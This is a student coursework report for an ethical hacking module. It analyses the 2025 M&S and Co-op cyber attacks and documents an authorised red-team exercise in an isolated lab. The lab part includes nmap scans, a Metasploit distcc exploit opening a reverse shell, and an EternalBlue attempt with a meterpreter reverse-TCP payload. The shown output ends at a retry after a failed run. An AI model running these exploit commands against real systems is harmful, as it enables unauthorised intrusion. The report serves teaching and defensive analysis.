

**Strategic Threat Analysis and Authorized Red-Team Exercise
(Task 1 and Task 2)**

Prepared for: ACCA7033 Ethical Hacking

Prepared by: Zannatul Mawya Priya

Student ID: 2527766

Table Of Contents

Table Of Contents.....	2
Abstract.....	3
1. Introduction	4
1.1 Analytical approach.....	4
2. Task 1: Strategic Threat Analysis of the 2025 UK Retail Incidents	5
2.1 Case overview	5
2.2 Likely attack chain and attacker behaviour	6
2.3 Root causes, resilience issues, and sector implications	8
2.4 Response and recommendations.....	9
3. Executive Brief: ABCD Ltd Penetration Test	10
4. Task 2 Technical Report: Authorised Red-Team Exercise in an Isolated Lab	11
4.1 Scope, ethics, and environment	11
4.2 Reconnaissance and target selection	15
4.3 Web exploit path against DVWA.....	21
4.4 Linux service exploitation against Metasploitable	25
4.5 Windows exploitation and post-exploitation.....	29
4.6 Detection gaps, prioritisation, and remediation.....	33
4.7 Threat Emulation Plan	35
5. Evidence Package	36
6. Conclusion.....	37
7. References	38
Appendix A: Rules of Engagement (RoE) - ABCD Ltd	40

Abstract

The report is a strategic case study with a controlled practical exercise to demonstrate how cyber risk is no longer a theory, but has become a reality in operations. Task 1 will look at the cyber attacks in 2025 on Marks and Spencer and Co-op. It determines the probable attack pattern using official statements, content in National Cyber Security Centre, and existing threat-intelligence reporting, mapping the campaign to the relevant ATT&CK techniques, and why the disruption is more than data exposure, into the costs of recovery and industry-wide worry.

Task 2 records a permitted red-team exercise as an authorised red-team exercise that was conducted in a virtualised lab using VirtualBox. The lab had four virtual machines and they are all linked with a host-only adapter: Kali Linux attacker, an OWASP/DVWA target, a Metasploitable Linux target and a Windows 7 target.

The report contends that there is no difference in the conclusions of the two tasks. There are seldom cases of modern incidents, which are caused by a single dramatic weakness. They tend to arise out of the interplay of lax identity controls, open services, lack of segmentation, and ineffective recovery designs. The practical use of this report is in the demonstration of how the technical evidence can be converted into the strategic priorities, defensive action and business-facing recommendations.

1. Introduction

Cyber security reports have a tendency of being in two different styles. One is tactical and discusses governance, continuity and risk, but little about the actual functioning of an attack. The other is very technical and documents tools, ports, shells and outputs but fails to articulate how these are important to resilience and management planning as well as operational planning. The aim of this report is to fill that gap. It takes a live, high profile retail cyber crisis and explains it in Task 1, and in Task 2, shows how vulnerabilities are found, verified and translated into usable access, through controlled exploitation in a lab.

The report is purposely designed to relate both tasks. The case of the UK retail incidents and the lab exercise are not of the same nature of an event but they illustrate the same fact that an attack becomes serious when common control failures form a chain. Too trusting identity processes, socially-engineerable workflows, exposed-to-the-world services, and too-flat internal environments are all environments that allow a small foothold to grow to something larger. The report thus operates on two levels. It poses the question of what a recent actual disturbance can teach us about organisational resilience, and demonstrates what a carefully-designed technical exercise can teach us about exposure, exploitability, and signs of compromise.

1.1 Analytical approach

This analysis is influenced by two choices of reporting. To begin with, the facts that have been proven are distinguished, as well as the plausible inference. The official company statements and NCSC guidance are considered the baseline whereas the threat-intelligence material is employed to explain the probable attacker behaviour without exaggerating the likelihood. Second, the simulated exercise is recorded as an approved training exercise but not as an actual break in. The difference is important since the aim of Task 2 is to learn through evidence, as opposed to dramatising access in itself. The report then proceeds to evidence, interpretation and finally to recommendations.

2. Task 1: Strategic Threat Analysis of the 2025 UK Retail Incidents

2.1 Case overview

In early 2025, both Marks and Spencer and Co-op announced severe cyber attacks that interfered with business and compelled both to take defensive measures and prompted the National Cyber Security Centre (NCSC) to provide guidance to the public (NCSC) [1]-[5]. The incident, which M&S subsequently claimed was likely to cost the company operating profit of around 300 million before mitigation, insurance and trading measures, was estimated to cost the firm around 300 million in operating profit before 2025/26 [1]. Co-op verified that cyber criminals had accessed a large portion of member data and that its food business was experiencing some stock disruption as it was protecting and restoring its systems [2], [3].

The case is strategically significant as it demonstrates the fact that a contemporary retail incident can shift rapidly on the technical compromise to the apparent commercial damage. The digital processes across stores, supply chains, online ordering, logistics, supplier coordination and communication with customers are all what the retail operations rely on and are trusted. When such trust is lost, it becomes costly to contain since nearly all the business processes will be reliant on the same digital fabric. One should also not over attribute. The NCSC clarified that it was not at the onset in a situation to state whether the events were interconnected or executed by a single actor [5]. Nevertheless, the present threat-intelligence coverage of UNC3944, or Scattered Spider, can serve as a helpful example of how to think about the probable tradecraft due to its focus on social engineering, identity abuse, and disruption of operations [6], [7].




Figure 1. 2025 retail incident timeline based on public disclosures.

Organisation	Confirmed effects	Strategic implication
Marks & Spencer	Severe operational disruption; later reported about £300m expected profit impact [1].	Cyber incidents can become enterprise-level continuity events, not just IT issues.
Co-op	Member data accessed; system restrictions and food supply disruption reported [2], [3].	Even partial compromise can trigger protective shutdown and customer-facing impact.
Sector response	NCSC published support and recommendations for affected retailers [4], [5].	The incidents had wider relevance across UK retail and supply-chain ecosystems.

2.2 Likely attack chain and attacker behaviour

One of the most striking aspects of the campaign was the speed at which it affected operations. Public reporting indicates that both organisations rapidly transitioned to operational restriction and operational recovery activity, indicating that the attacker had privileged access earlier or created sufficiently much uncertainty about privileged access that broad defensive action was required [1]–[3]. This happens to be one of the characteristics of identity-led compromise. In a place where the trusted accounts or recovery processes are misused, defenders cannot be sure to isolate clean activity and malicious activity without halting the critical systems.

The second characteristic was that the influence went beyond the confidentiality. These would be too limited to just call these events data incidents. Greater concern was availability and integrity of operations. A contained data exposure can frequently be absorbed by a retailer than the interruption to ordering, fulfilment, replenishment or even communicating with suppliers. The fact that it was reported by M&S itself indicates the same with the figures of the anticipated financial effect [1]. The third characteristic was that there was a high probability of taking advantage of trust relationships. The threat re-emerging as UNC3944 was reported by Google Threat Intelligence to be very successful in evading developed security programmes via social engineering and third-party access [6]. The incident is more in line with the overall trend of the events than a mere perimeter breach story.

One of the possible attack chains to use in the campaign targeting the retail store is reconnaissance, which is people-centric, process-centric, and identity-centric. Attackers initially determine brands, senior roles, routines of support, outsourced providers and the actual steps that need to be taken to convince a help desk to reset a password or enrol a new device. That is a Scattered Spider pattern of collecting victim identity data, stealing legitimate accounts and launching successive authentication requests or other identity coercion strategies in ATT&CK terms [7]–[10]. The tradecraft works well as it transforms the support function of the organisation to an entry point.

Privilege once the foothold is attained is the next goal. Valid accounts are strategically strong since they enable an attacker to act within the bounds of legitimate workflows instead of combating technical measures head on [8]. Then, internal discovery and remote service abuse is the probable intermediate stage. The techniques of ATT&CK that are relevant are active scanning, use of remote services, network

services and systems discovery, and execution of commands using valid shells or scripting engines [10]-[12]. Those are perilous in a retailer since e-commerce sites, stores, warehouse systems, and the head office functions are usually intertwined. The last phase is extortion by disruption wherein the attacker gains access not only to steal information, but also to gain leverage by disrupting operations.




Figure 2. Plausible attack chain for the retail campaign.

Observed or plausible stage	Relevant ATT&CK reference	Why it fits
Identity targeting and social engineering	Scattered Spider pattern [7]	Campaign behaviour emphasises people, process, and trust abuse.
Use of valid accounts	Valid Accounts, T1078 [8]	Trusted credentials reduce the need for noisy exploitation.
MFA pressure or approval fatigue	T1621 [9]	Repeated authentication requests can coerce user acceptance.
Active discovery of environment	Active Scanning, T1595 [10]	Attackers need service and asset visibility before moving further.
Remote service abuse	Exploitation of Remote Services, T1210 [11]	Likely where reachable internal systems can be misused after access.
Command execution via trusted tooling	Command and Scripting Interpreter, T1059 [12]	Lets attackers work through legitimate administrative paths.

Initial access via support teams	Phishing, T1566	Attackers often use SMS or voice phishing directed at help desks to bypass initial boundaries.
Weakening host protections	Impair Defenses, T1562	Attackers disable local firewalls or antivirus to ensure payloads execute without detection.

Maintaining persistent access	Account Manipulation, T1098	Modifying MFA device registration ensures attackers retain access even if passwords are reset.
Lateral movement across infrastructure	Remote Services, T1021	Using protocols like SMB allows attackers to move from an initial foothold to internal legacy servers.
Halting retail operations	Service Stop, T1489	Halting critical internal databases or inventory services creates immediate operational and financial disruption.

2.3 Root causes, resilience issues, and sector implications

There are a number of control weaknesses which would have increased the damage. To begin with, identity proofing and support processes seem to be a bottleneck. When it becomes possible to convince a help desk to reset credentials, or to bypass normal assurance checks, then the attacker is actually borrowing the trust process of the organisation [23]. Second, the access barriers of privileged access might not have been that tight. The quicker an attacker can switch between identities with trust, to high-level administrative privileges, the more likely it is that containment will involve massive shutdown or limitation.

Third, resilience design is important as prevention. The 2025 commentary of the NCSC emphasized that it can be time-consuming and expensive to recuperate after this type of incident [5], [16], [17]. Rebuild paths are clean, and segmented, management infrastructure is isolated, and degraded operations are rehearsed are not considered as optional extras. They dictate the loss of hours, days or weeks by an organisation. Fourth, most retailers continue to rely on third parties to support and connectivity services. The operational utility of that dependency is useful, but it also broadens the trust surface. Even with access paths, supplier tooling, or remote support workflow that are not tightly controlled, even the most mature controls of the organisation may still be circumvented by its partners.

The implications on the broader sector are profound. Retailers are appealing due to their large workforces, distributed nature, complicated supplier-relations, seasonal strain, and intolerance to downtime. A company can possess fully-grown perimeter technology and still be vulnerable as long as the identity recovery, the call-centre process, and the third-party support governance are weak. The 2025 events thus question a long-standing belief that technical maturity in the edge is sufficient to avoid significant harm. When it comes to this type of incident, a more significant question is whether the organisation can maintain trusted administration and bounce back fast in case of loss of identity confidence.

This is also the reason why the NCSC represented the incidents as a caution to the broader industry as opposed to a series of company-specific issues [4], [5]. In the case of a disruption of one of the major retailers, peers cannot just assume that they are safe since they have different brands or different cloud providers. The more pertinent question is whether they are based on the similar trust processes, outsourced support models, or assumptions of recovery. Cyber security strategic learning is usually sluggish as organisations take time to confirm the detail and only then take action. All these incidents demonstrate why that is dangerous. Weaknesses are likely to be similar in similar business models.

2.4 Response and recommendations

There were also signs of prudent defensive action. According to the public updates published by Co-op, the organisation limited the access to the system in order to save the business and then, gradually recovered its operations [2], [3]. That is disruptive, yet can oftentimes be the right decision when identity integrity can no longer be relied upon by defenders. The fact that the NCSC was publicly involved also suggests that these incidents were treated as sector-wide concerns requiring coordination, intelligence sharing, and broader warning activity [4], [5].

Meanwhile, the events reveal the weaknesses of reactive containment. When the sole secure reaction is overall operation limitation, then internal containment limits were either too feeble or too challenging to implement in a short time. Being detected is not the answer to that. The strategic lesson is not simply that defenders must detect faster. They also need to plan for the possibility that their trust fabric will be attacked. It is a more difficult criterion, but the retail cases demonstrate that it is the one which is now applicable.

There are five priorities, which are prominent in similar organisations. To start with, service-desk and identity recovery processes should be better human-verified, out of band approved and anti-impersonated. Support teams are designed to be quick and helpful; attackers are aware of this and exploit such helpfulness to their advantage [6]. Second, privileged access must be minimized, time-limited and revisited on a regular basis. Any avenue that can be used to perform wide administration in normal user environment must be considered as a significant threat.

Third, recovery logic should be used to segment instead of network diagrams. The same trust pathways should not be used in identity services, backup management, crisis communications, and rebuild tooling, as in the daily operations. Fourth, identity compromise, rather than malware infection should be the assumption of resilience exercises. Numerous table-top exercises continue to be initiated too late into the kill chain. Fifth, the collaboration between the sectors should be regarded as a part of the security capability, but not the public-relations activity. The subsequent collaboration of Co-op with The Hacking Games is also interesting in the sense that it positions the idea of post-incident response as a remediation as well as an investment in prevention on a broader scale [18]. Combined, these priorities lead to a realistic conclusion: the most significant controls are the ones that maintain trust, reduce privilege, and reduce the time to recovery in the event that prevention fails.

3. Executive Brief: ABCD Ltd Penetration Test

Overview and Current Posture

This red team engagement was commissioned by ABCD Ltd to assess the resilience of its web-facing and internal corporate systems. The analysis demonstrated that the infrastructure has major vulnerabilities that enable an external attacker to compromise the perimeter, escalate privileges, and have complete administrative access to internal networks. At this point, the defensive position taken by ABCD Ltd is based on an old model of trust and this has exposed the business to a high risk of being disrupted in its operations and having its data stolen.

Business Risk and Impact

There were three different attack paths that were effectively used in the engagement. An application weakness enabled instant execution of system-level commands, which violated the boundary between the interfaces accessible to the public and internal servers. Moreover, legacy systems within the organization were hacked, namely, an open Linux service and a non-supported Windows 7 host. The Windows host exploitation led to complete NT AUTHORITY/SYSTEM privileges and credential hashes were extracted. In a real-world situation, this level of access could allow a threat actor to deploy ransomware, steal sensitive customer data, and disrupt the core retail operations of ABCD Ltd.

ABCD Ltd should adopt a strategy that assumes perimeter breaches will happen and focuses on limiting internal movement to protect the business. The Board should prioritise the following investments:

1. Decommission or isolate legacy systems.
2. Secure web interfaces.
3. Strengthen identity controls.

4. Task 2 Technical Report: Authorised Red-Team Exercise in an Isolated Lab

4.1 Scope, ethics, and environment

Task 2 was set up as a contracted red-team engagement of ABCD Ltd, a UK-based mid-sized company that offers web-facing retail services and internal corporate systems. ABCD Ltd ordered a complete, realistic penetration test to test their detection, prevention and response capabilities against common and advanced threats. This exercise was designed to demonstrate a disciplined attack workflow, confirm that specific weaknesses in the hybrid environment could be exploited, and capture evidence to support business-focused defensive conclusions. All work was carried out in an isolated VirtualBox lab that simulated the ABCD Ltd environment. The reason that ethical limit is important is that the techniques covered here are reported to be the result of a controlled engagement, and not an uncontrolled intrusion, which is covered by rigid Rules of Engagement.




Figure 3. Authorised red-team workflow used in Task 2.




Figure 4. Isolated VirtualBox lab topology used for the exercise.

- 1) Authorised targets only within the 192.168.56.0/24 host-only network.
- 2) No persistence or activity beyond the training lab.
- 3) Evidence captured at each step to support later reporting.
- 4) Focus placed on exploit validation and defensive lessons.

Lab asset	Role	IP / context	Purpose in exercise
Kali Linux	Attacker host	192.168.56.103	Reconnaissance, scanning, and exploit execution.
OWASP / DVWA	Web target	192.168.56.101	Application-layer testing and command injection proof.
Metasploitable	Linux target	192.168.56.102	Service-level exploitation through distcc.
Windows 7	Legacy Windows target	192.168.56.104	Remote SMB exploitation and post-exploitation validation.




Figure 5. VirtualBox manager showing the four lab machines.




Figure 6. Kali Linux network adapter attached to host-only networking.




Figure 7. Windows 7 network adapter attached to host-only networking.




Figure 8. OWASP host network adapter attached to host-only networking.





Figure 9. Metasploitable host network adapter attached to host-only networking.

4.2 Reconnaissance and target selection

The reconnaissance and host discovery was the first stage. The attacker host was confirmed on the 192.168.56.0/24 host-only network, and scanning identified three main targets at 192.168.56.101, 192.168.56.102, and 192.168.56.104. This stage is simple to undervalue since it is not yet a stage of exploitation, but it is at this stage a general landscape is converted into a workable map. A good recon phase minimizes the amount of guesswork, and allows the operator to select attack paths depending on what is visible, instead of relying on trial and error.

The list of the outcomes of the enumeration reveals the reasons why the three targets have been chosen. The OWASP/DVWA host provided a web path that was facing an application that could be tested on injections. Metasploitable machine had several deliberately weak services, such as distccd, hence it is a good candidate to be exploited at a service level. The Windows 7 host had SMB and other legacy services which were related to the remote compromise risk. As an attacker, this information can be used to develop differentiated attack paths. In the perspective of the defender, it demonstrates why reconnaissance in most cases presents the best opportunity to detect malicious behaviour at an early stage. High-value telemetry in a monitored environment can be structured probing over a small subnet, service checks, and prioritisation of older services.




```
kali [Running] - Oracle VirtualBox
File Machine View Input Devices Help
Applications Places Terminal Thu 02:44
root@kali: ~
File Edit View Search Terminal Help
root@kali:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:4c:22:11 brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
        valid_lft 554sec preferred_lft 554sec
    inet6 fe80::a00:27ff:fe4c:2211/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
root@kali:~#
```

Figure 10. Kali attacker IP configuration inside the host-only lab.

The image shows a Kali Linux terminal window within an Oracle VM VirtualBox. The terminal displays the output of the `ifconfig` command for the `lo` and `eth0` interfaces, followed by an `arp-scan` command targeting the `192.168.56.0/24` network. The scan results show five active hosts, all identified as 'Cadmus Computer Systems'.

```
root@kali: ~  
File Edit View Search Terminal Help  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default  
qlen 1000  
  link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
  inet 127.0.0.1/8 scope host lo  
    valid_lft forever preferred_lft forever  
  inet6 ::1/128 scope host  
    valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP gro  
up default qlen 1000  
  link/ether 08:00:27:4c:22:11 brd ff:ff:ff:ff:ff:ff  
  inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute  
eth0  
    valid_lft 554sec preferred_lft 554sec  
  inet6 fe80::a00:27ff:fe4c:2211/64 scope link noprefixroute  
    valid_lft forever preferred_lft forever  
root@kali:~# arp-scan -I eth0 192.168.56.0/24  
Interface: eth0, datalink type: EN10MB (Ethernet)  
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)  
192.168.56.1    0a:00:27:00:00:0b    (Unknown)  
192.168.56.100  08:00:27:64:91:9f    Cadmus Computer Systems  
192.168.56.101  08:00:27:f2:aa:97    Cadmus Computer Systems  
192.168.56.102  08:00:27:68:fe:4f    Cadmus Computer Systems  
192.168.56.104  08:00:27:b1:2c:b4    Cadmus Computer Systems  
  
5 packets received by filter, 0 packets dropped by kernel  
Ending arp-scan 1.9.5: 256 hosts scanned in 2.053 seconds (124.70 hosts/sec). 5 r  
esponded  
root@kali:~#
```

Figure 11. ARP-based host discovery identifying active targets.




```
root@kali: ~  
File Edit View Search Terminal Help  
root@kali:~# nmap -sV -O 192.168.56.100 192.168.56.101 192.168.56.102 192.168.56.104  
Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-16 02:55 EDT  
Nmap scan report for 192.168.56.100  
Host is up (0.00045s latency).  
All 1000 scanned ports on 192.168.56.100 are closed  
MAC Address: 08:00:27:64:91:9F (Oracle VirtualBox virtual NIC)  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Aggressive OS guesses: 2N Helios IP VoIP doorbell (95%), Advanced Illumination DC S-100E lighting controller (95%), AudioControl D3400 network amplifier (95%), British Gas GS-Z3 data logger (95%), Daysequerra M4.2SI radio (95%), Denver Electronics AC-5000W MK2 camera (95%), DTE Energy Bridge (lwIP stack) (95%), Enlogic PDU (FreeRTOS/lwIP) (95%), Espressif esp8266 firmware (lwIP stack) (95%), Espressif ESP8266 WiFi system-on-a-chip (95%)  
No exact OS matches for host (test conditions non-ideal).  
Network Distance: 1 hop  
  
Nmap scan report for 192.168.56.101  
Host is up (0.0011s latency).  
Not shown: 991 closed ports  
PORT      STATE SERVICE      VERSION  
22/tcp    open  ssh          OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.0)  
80/tcp    open  http         Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2 -1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL...)  
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
143/tcp   open  imap         Courier Imapd (released 2008)
```

Figure 12. Service enumeration output for target 192.168.56.101.

```
kali [Running] - Oracle VirtualBox
File Machine View Input Devices Help
Applications Places Terminal Thu 02:59
root@kali: ~
File Edit View Search Terminal Help
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Courier Imapd (released 2008)
443/tcp open ssl/https?
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
5001/tcp open java-object Java Object Serialization
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8081/tcp open http Jetty 6.1.25
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5001-TCP:V=7.80%I=7%D=4/16%Time=69E0880C%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4,"\xac\xed\x05");
MAC Address: 08:00:27:F2:AA:97 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.17 - 2.6.36
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.56.102
Host is up (0.0012s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
```

Figure 13. Service enumeration output for target 192.168.56.102.



```
kali [Running] - Oracle VirtualBox
File Machine View Input Devices Help
Applications Places Terminal Thu 02:59
root@kali: ~
File Edit View Search Terminal Help
Host is up (0.0012s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:68:FE:4F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.x
```

Figure 14. Service enumeration output for target 192.168.56.104.




Figure 15. Additional reconnaissance output supporting target selection.

4.3 Web exploit path against DVWA

The initial route of exploitation was against DVWA in the form of command injection. DVWA is specifically designed to illustrate common insecure coding practices and command injection is a practical teaching example since it illustrates how an application vulnerability can easily be escalated to a host level [13], [21]. The application was accessible on the OWASP host and the security setting was purposely reduced to meet the goal of the lab. The output obtained demonstrated that the weakness was exploitable and not just hypothetical because the system-level information was accessed and there was successful execution of the command.

This result has more than just significance to the vulnerable page. The command injection is a breach of the user input and server execution line. When that boundary is lost, then the application is no longer a business interface: it has become a way into the operating system. In a real world, it can cause abuse of service accounts, local file access, follow on tooling or even wider movement in case the host has network trust. To the defenders, the moral of the story is that secure coding, input validation, least privilege for web services, and host telemetry are all important as a combination. When a browser request can be transformed to shell behaviour without any defensive response, the issue is not just with the application code.




Figure 16. DVWA application reachable from the attacker host.




Figure 17. DVWA security level configured for the exercise.




Figure 18. Command injection page used in the web exploit path.





Figure 19. Successful command execution showing sensitive system output.

4.4 Linux service exploitation against Metasploitable

The second exploitation avenue was used to exploit Metasploitable Linux host via distcc service. Its weakness, which is rated as CVE-2004-2687, permits arbitrary command execution in case the service is not confined within the trust model that was intended with it [14]. In recon, the service was found to be a part of the attack surface of the host. An authorised Metasploit module was then used to validate this exploitability in the exercise. The following shell and follow-on commands made certain that the execution of the code had been successful on the target and the compromise was not just superficial.

The case is helpful as it can be considered as another type of failure as compared to DVWA. In this case it is not insecure application logic, but the insecure service exposure. This type of risk can be difficult to deal with in real organisations since obscure or operationally specialised services may be out of the normal patching and monitoring processes. Security teams concentrate on typical enterprise platforms and forgotten elements are left visible over the years. The message of defense is straight forward. The ownership of assets, inventory of services, hardening, and review of exposures remain critical since most of the compromises are initiated by the known and avoidable vulnerabilities. The Metasploitable finding

demonstrates that even an old or mis-exposed service can provide a quick shell access with minimal friction.



The screenshot shows a Kali Linux terminal window titled "kali [Running] - Oracle VirtualBox". The terminal displays the output of the `msfconsole` command, which starts the Metasploit Framework console. The output includes a warning about no database support and a large ASCII art dragon. The dragon is composed of various characters, including `dBBBb`, `dB'`, `dB`, and `BP`, arranged to form the shape of a dragon. Below the dragon, the text "To boldly go where no shell has gone before" is displayed in green.

```
root@kali:~# msfconsole
[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: No database YAML file
[-] ***

          dBBBb dBBBP dBBBbBP dBBBb
          ' dB'      BP
dB' dB' dB' dB' dB' dB' dB' dB'
dB' dB' dB' dB' dB' dB' dB' dB'
dB' dB' dB' dB' dB' dB' dB' dB'

          dBBBbBP dBBBbBP dB' dBBBbBP dB' dBBBbBP
          dB' dB' dB' dB' dB' dB' dB' dB'
          dB' dB' dB' dB' dB' dB' dB' dB'
          dB' dB' dB' dB' dB' dB' dB' dB'

          To boldly go where no
          shell has gone before
```

Figure 20. Metasploit interaction for the distcc exploitation path.

```
kali [Running] - Oracle VirtualBox
File Machine View Input Devices Help

Applications Places Terminal Thu 03:26
root@kali: ~
File Edit View Search Terminal Tabs Help
root@kali: ~ x root@kali: ~ x

o To boldly go where no
  shell has gone before

=[ metasploit v5.0.41-dev ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops ]
+ -- ==[ 4 evasion ]

msf5 > use exploit/unix/misc/distcc_exec
msf5 exploit(unix/misc/distcc_exec) > set RHOSTS 192.168.56.102
RHOSTS => 192.168.56.102
msf5 exploit(unix/misc/distcc_exec) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf5 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 192.168.56.103:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo m5F1IDD3YiIh2Ds7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "m5F1IDD3YiIh2Ds7\r\n"
[*] Matching
```

Figure 21. Exploit execution against the Metasploitable service.





Figure 22. Successful shell access on the Linux target.



```
Applications ▾ Places ▾ Terminal ▾ Thu 03:29 1
root@kali: ~
File Edit View Search Terminal Tabs Help
root@kali: ~ x root@kali: ~ x + ▾
LHOST => 192.168.56.103
msf5 exploit(unix/misc/distcc_exec) > run
[*] Started reverse TCP double handler on 192.168.56.103:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo m5F1IDD3YiIh2Ds7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "m5F1IDD3YiIh2Ds7\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.103:4444 -> 192.168.56.102:48588)
at 2026-04-16 03:26:06 -0400

whoami
daemon
hostname
metasploitable
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
^Z
Background session 1? [y/N] y
msf5 exploit(unix/misc/distcc_exec) > 
```

Figure 23. Post-exploitation validation of Linux identity and host context.

4.5 Windows exploitation and post-exploitation

The third attack route was directed towards the Windows 7 host and had the worst result in the lab. The screenshots indicate that the host firewall was turned off and an exploit path based on SMB was exploited, which is related to the MS17-010 vulnerability [15]. After successful exploitation, a Meterpreter session was established, system information was collected, privileges were confirmed as NT AUTHORITY\SYSTEM, and credential hashes were retrieved. From a red-team reporting perspective, that sequence is important due to it showing not only exploitation, but significant post-exploitation control.

First, the host was reachable across the isolated network. Second, it ended up being administrative control instead of restricted access by users. Third, the material of the credential that was created after the exploitation could be used to continue the movement in case the host belonged to a larger estate. It is not just to patch Windows. The idea is that legacy systems which are either not supported or defended in some way should never be left in a place where they can be accessed and be trusted by other more valuable assets [22]. Nothing in this attack path relied on especially new tradecraft. The fact that there was a known weakness, and the local protection was disabled was sufficient. It is exactly this reason why legacy exposure is one of the hardest to eliminate enterprise risks.




Figure 24. Windows 7 host state before exploitation.

```
Applications ▾ Places ▾ Terminal ▾ Thu 03:35
root@kali: ~
File Edit View Search Terminal Tabs Help

root@kali: ~ x root@kali: ~ x

at 2026-04-16 03:26:06 -0400
whoami
daemon
hostname
metasploitable
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
^Z
Background session 1? [y/N] y
msf5 exploit(unix/misc/distcc_exec) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.56.104
RHOSTS => 192.168.56.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.56.103
LHOST => 192.168.56.103
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.56.103:4444
[-] 192.168.56.104:445 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_eternalblue) >
```

Figure 25. EternalBlue exploitation path configured in Metasploit.


```
Applications ▾ Places ▾ Terminal ▾ Thu 03:36
root@kali: ~
File Edit View Search Terminal Tabs Help

root@kali: ~ x root@kali: ~ x

[-] 192.168.56.104:445 - Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/ms17_010_eternalblue) > run


[*] Started reverse TCP handler on 192.168.56.103:4444
